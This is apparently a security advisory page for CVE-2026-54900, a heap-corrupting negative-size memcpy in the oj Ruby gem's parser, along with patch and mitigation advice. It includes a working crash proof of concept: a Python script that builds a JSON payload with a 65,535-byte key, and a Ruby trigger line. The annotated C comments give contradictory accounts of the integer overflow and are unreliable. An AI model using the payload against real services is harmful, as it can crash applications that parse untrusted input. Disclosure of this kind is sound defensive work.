CVE-2026-54900 — oj
CVE-2026-54900 is a CWE-190 vulnerability in oj. A fix is available for oj — see the affected versions and patch details below.
Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54900.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
ojReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.
Version
- Software: oj gem
- Affected: all versions with
ext/oj/usual.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/usual.c, form_attr:
// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
char buf[4096];
// ...
int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0
// or: 65535 cast to int = 65535 (fits),
// but blen = 65536 → INT overflow on +1 if slen=INT_MAX
// ...
memcpy(buf, "@", 1);
memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX
}
The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.
ASAN report:
==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 memcpy
#1 form_attr /ext/oj/usual.c:63
#2 cache_intern /ext/oj/cache.c:326
#3 get_attr_id /ext/oj/usual.c:186
#4 close_object_create /ext/oj/usual.c:374
#5 parse /ext/oj/parser.c:693
#6 parser_parse /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)
Reproduce
Generate the payload:
key = 'A' * 65535
with open('poc.json', 'w') as f:
f.write('{"json_class":"Oj::Bag","' + key + '":1}')
Trigger:
require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | oj | all versions | 3.17.3bundle update oj --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for oj, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update oj to 3.17.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54900 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Frequently Asked Questions
Is CVE-2026-54900 in your dependencies?
Find it across RubyGems, including transitive dependencies.